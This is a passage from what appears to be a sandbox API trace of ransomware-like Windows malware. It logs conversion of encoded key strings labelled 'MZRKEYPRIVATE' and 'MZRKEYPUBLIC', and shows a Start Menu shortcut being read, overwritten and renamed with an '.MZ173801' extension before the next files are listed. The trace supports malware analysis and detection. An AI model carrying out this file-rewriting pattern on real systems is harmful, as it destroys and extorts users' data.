0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24be5cc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0196.661] GetCurrentThreadId () returned 0xab4 [0196.661] GetCurrentThreadId () returned 0xab4 [0196.661] GetCurrentThreadId () returned 0xab4 [0196.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0196.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24cf62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0196.662] GetCurrentThreadId () returned 0xab4 [0196.662] GetCurrentThreadId () returned 0xab4 [0196.662] GetCurrentThreadId () returned 0xab4 [0196.662] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\control panel.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0196.662] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0196.662] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0196.662] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x195 [0196.663] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0196.663] ReadFile (in: hFile=0x330, lpBuffer=0x24d7430, nNumberOfBytesToRead=0x195, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d7430*, lpNumberOfBytesRead=0x19f480*=0x195, lpOverlapped=0x0) returned 1 [0196.664] CloseHandle (hObject=0x330) returned 1 [0196.664] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\control panel.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0196.751] WriteFile (in: hFile=0x330, lpBuffer=0x24d9460*, nNumberOfBytesToWrite=0x195, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d9460*, lpNumberOfBytesWritten=0x19f48c*=0x195, lpOverlapped=0x0) returned 1 [0196.752] CloseHandle (hObject=0x330) returned 1 [0196.845] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\control panel.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\control panel.lnk.mz173801")) returned 1 [0197.480] GetCurrentThreadId () returned 0xab4 [0197.480] GetCurrentThreadId () returned 0xab4 [0197.480] GetCurrentThreadId () returned 0xab4 [0197.480] GetCurrentThreadId () returned 0xab4 [0197.480] GetCurrentThreadId () returned 0xab4 [0197.480] GetCurrentThreadId () returned 0xab4 [0197.480] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc8ea7682, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x31e, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0197.481] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0197.481] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0197.481] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="File Explorer.lnk", cAlternateFileName="FILEEX~1.LNK")) returned 1 [0197.481] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0197.481] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0197.481] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\file explorer.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x197)) returned 1 [0197.481] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\file explorer.lnk")) returned 0x20 [0197.481] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk", dwFileAttributes=0x80) returned 1 [0197.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0197.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24be5cc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw